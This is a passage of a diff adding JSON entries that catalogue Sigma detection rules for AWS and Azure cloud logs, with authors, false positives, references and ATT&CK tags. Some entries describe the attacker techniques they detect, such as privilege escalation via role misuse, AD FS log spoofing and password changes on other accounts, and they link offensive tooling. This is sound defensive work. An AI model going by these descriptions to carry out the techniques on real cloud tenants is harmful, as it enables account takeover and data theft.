Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_passed_role_to_glue_development_endpoint.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", + "value": "AWS Glue Development Endpoint Activity" + }, + { + "description": "Detects the change of database master password. It may be a part of data exfiltration.", + "meta": { + "author": "faloker", + "creation_date": "2020/02/12", + "falsepositive": [ + "Benign changes to a db instance" + ], + "filename": "aws_rds_change_master_password.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", + "value": "AWS RDS Master Password Change" + }, + { + "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", + "meta": { + "author": "faloker", + "creation_date": "2020/02/12", + "falsepositive": [ + "Unknown" + ], + "filename": "aws_rds_public_db_restore.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", + "value": "Restore Public AWS RDS Instance" + }, + { + "description": "Detects AWS root account usage", + "meta": { + "author": "vitaliy0x1", + "creation_date": "2020/01/21", + "falsepositive": [ + "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" + ], + "filename": "aws_root_account_usage.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078.004" + ] + }, + "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", + "value": "AWS Root Credentials" + }, + { + "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", + "meta": { + "author": "Elastic, Austin Songer @austinsonger", + "creation_date": "2021/07/22", + "falsepositive": [ + "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_route_53_domain_transferred_lock_disabled.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ] + }, + "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", + "value": "AWS Route 53 Domain Transfer Lock Disabled" + }, + { + "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", + "meta": { + "author": "Elastic, Austin Songer @austinsonger", + "creation_date": "2021/07/22", + "falsepositive": [ + "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_route_53_domain_transferred_to_another_account.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ] + }, + "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", + "value": "AWS Route 53 Domain Transferred to Another Account" + }, + { + "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_s3_data_management_tampering.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/pull/1145/files", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ] + }, + "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", + "value": "AWS S3 Data Management Tampering" + }, + { + "description": "Detects the modification of the findings on SecurityHub.", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/06/28", + "falsepositive": [ + "System or Network administrator behaviors", + "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." + ], + "filename": "aws_securityhub_finding_evasion.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", + "value": "AWS SecurityHub Findings Evasion" + }, + { + "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", + "meta": { + "author": "Darin Smith", + "creation_date": "2021/05/17", + "falsepositive": [ + "Valid change to a snapshot's permissions" + ], + "filename": "aws_snapshot_backup_exfiltration.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://www.justice.gov/file/1080281/download", + "https://attack.mitre.org/techniques/T1537/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ] + }, + "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", + "value": "AWS Snapshot Backup Exfiltration" + }, + { + "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", + "Automated processes that uses Terraform may lead to false positives." + ], + "filename": "aws_sts_assumerole_misuse.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/pull/1214", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ] + }, + "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", + "value": "AWS STS AssumeRole Misuse" + }, + { + "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/07/24", + "falsepositive": [ + "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_sts_getsessiontoken_misuse.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/elastic/detection-rules/pull/1213", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ] + }, + "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", + "value": "AWS STS GetSessionToken Misuse" + }, + { + "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/09/22", + "falsepositive": [ + "Automated processes that uses Terraform may lead to false positives.", + "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "aws_susp_saml_activity.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078", + "attack.lateral_movement", + "attack.t1548", + "attack.privilege_escalation", + "attack.t1550", + "attack.t1550.001" + ] + }, + "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", + "value": "AWS Suspicious SAML Activity" + }, + { + "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", + "meta": { + "author": "toffeebr33k", + "creation_date": "2021/08/09", + "falsepositive": [ + "Legit User Account Administration" + ], + "filename": "aws_update_login_profile.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "aws", + "refs": [ + "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", + "value": "AWS User Login Profile Was Modified" + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/08/26", + "falsepositive": [ + "Legitimate AD FS servers added to an AAD Health AD FS service instance" + ], + "filename": "azure_aadhybridhealth_adfs_new_server.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578" + ] + }, + "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", + "value": "Azure Active Directory Hybrid Health AD FS New Server" + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/08/26", + "falsepositive": [ + "Legitimate AAD Health AD FS service instances being deleted in a tenant" + ], + "filename": "azure_aadhybridhealth_adfs_service_delete.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578.003" + ] + }, + "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", + "value": "Azure Active Directory Hybrid Health AD FS Service Delete" + }, + { + "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", + "meta": { + "author": "Corissa Koopmans, '@corissalea'", + "creation_date": "2022/07/19", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ] + }, + "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", + "value": "CA Policy Removed by Non Approved Actor" + }, + { + "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", + "meta": { + "author": "Corissa Koopmans, '@corissalea'", + "creation_date": "2022/07/19", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ] + }, + "uuid": "50a3c7aa-ec29-44a4-92c1-fce229eef6fc", + "value": "CA Policy Updated by Non Approved Actor" + }, + { + "description": "Monitor and alert on conditional access changes.", + "meta": { + "author": "Corissa Koopmans, '@corissalea'", + "creation_date": "2022/07/18", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ] + }, + "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", + "value": "New CA Policy by Non-approved Actor" + }, + { + "description": "Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.", + "meta": { + "author": "Corissa Koopmans, '@corissalea'", + "creation_date": "2022/04/21", + "falsepositive": [ + "Failed Azure AD Connect Synchronization", + "Service account use with an incorrect password specified", + "Misconfigured systems", + "Vulnerability scanners" + ], + "filename": "azure_aad_secops_signin_failure_bad_password_threshold.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_signin_failure_bad_password_threshold.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "dff74231-dbed-42ab-ba49-83289be2ac3a", + "value": "Sign-in Failure Bad Password Threshold" + }, + { + "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", + "meta": { + "author": "AlertIQ", + "creation_date": "2021/10/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_account_lockout.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", + "value": "Account Lockout" + }, + { + "description": "Detects when an account was created and deleted in a short period of time.", + "meta": { + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "creation_date": "2022/08/11", + "falsepositive": [ + "Legit administrative action" + ], + "filename": "azure_ad_account_created_deleted.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#short-lived-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_account_created_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "6f583da0-3a90-4566-a4ed-83c09fe18bbf", + "value": "Account Created And Deleted Within A Close Time Frame" + }, + { + "description": "Detect successful authentications from countries you do not operate out of.", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/07/28", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", + "value": "Successful Authentications From Countries You Do Not Operate Out Of" + }, + { + "description": "Detects when sign-ins increased by 10% or greater.", + "meta": { + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1'", + "creation_date": "2022/08/11", + "falsepositive": [ + "Unlikely" + ], + "filename": "azure_ad_auth_failure_increase.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-failed-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_failure_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "e1d02b53-c03c-4948-b11d-4d00cca49d03", + "value": "Increased Failed Authentications Of Any Type" + }, + { + "description": "Detects when successful sign-ins increased by 10% or greater.", + "meta": { + "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", + "creation_date": "2022/08/11", + "falsepositive": [ + "Increase of users in the environment" + ], + "filename": "azure_ad_auth_sucess_increase.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", + "value": "Measurable Increase Of Successful Authentications" + }, + { + "description": "Detect when authentications to important application(s) only required single-factor authentication", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/07/28", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_ad_auth_to_important_apps_using_single_factor_auth.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_to_important_apps_using_single_factor_auth.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "f272fb46-25f2-422c-b667-45837994980f", + "value": "Authentications To Important Apps Using Single Factor Authentication" + }, + { + "description": "Monitor and alert for Bitlocker key retrieval.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_bitlocker_key_retrieval.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "a0413867-daf3-43dd-9245-734b3a787942", + "value": "Bitlocker Key Retrieval" + }, + { + "description": "Monitor and alert for device registration or join events where MFA was not performed.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_device_registration_or_join_without_mfa.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", + "value": "Device Registration or Join Without MFA" + }, + { + "description": "Monitor and alert for changes to the device registration policy.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_device_registration_policy_changes.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484" + ] + }, + "uuid": "9494bff8-959f-4440-bbce-fb87a208d517", + "value": "Changes to Device Registration Policy" + }, + { + "description": "Detect failed authentications from countries you do not operate out of.", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/07/28", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_failed_auth_from_countries_you_do_not_operate_out_of.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "28870ae4-6a13-4616-bd1a-235a7fad7458", + "value": "Failed Authentications From Countries You Do Not Operate Out Of" + }, + { + "description": "Detects guest users being invited to tenant by non-approved inviters", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/07/28", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865", + "value": "Guest Users Invited To Tenant By Non Approved Inviters" + }, + { + "description": "Detect when users are authenticating without MFA being required.", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/07/27", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_ad_only_single_factor_auth_required.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_only_single_factor_auth_required.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "28eea407-28d7-4e42-b0be-575d5ba60b2c", + "value": "Azure AD Only Single Factor Authentication Required" + }, + { + "description": "Monitor and alert for sign-ins where the device was non-compliant.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_sign_ins_from_noncompliant_devices.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_noncompliant_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "4f77e1d7-3982-4ee0-8489-abf2d6b75284", + "value": "Sign-ins from Non-Compliant Devices" + }, + { + "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_sign_ins_from_unknown_devices.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", + "value": "Sign-ins by Unknown Devices" + }, + { + "description": "Monitor and alert for users added to device admin roles.", + "meta": { + "author": "Michael Epping, '@mepples21'", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_ad_users_added_to_device_admin_roles.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "11c767ae-500b-423b-bae3-b234450736ed", + "value": "Users Added to Global or Device Admin Roles" + }, + { + "description": "User Added to an Administrator's Azure AD Role", + "meta": { + "author": "Raphaël CALVET, @MetallicHack", + "creation_date": "2021/10/04", + "falsepositive": [ + "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled." + ], + "filename": "azure_ad_user_added_to_admin_role.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://attack.mitre.org/techniques/T1098/003/", + "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098.003" + ] + }, + "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7", + "value": "User Added to an Administrator's Azure AD Role" + }, + { + "description": "Identifies when a application is deleted in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/03", + "falsepositive": [ + "Application being deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_application_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_deleted.yml" + ], + "tags": [ + 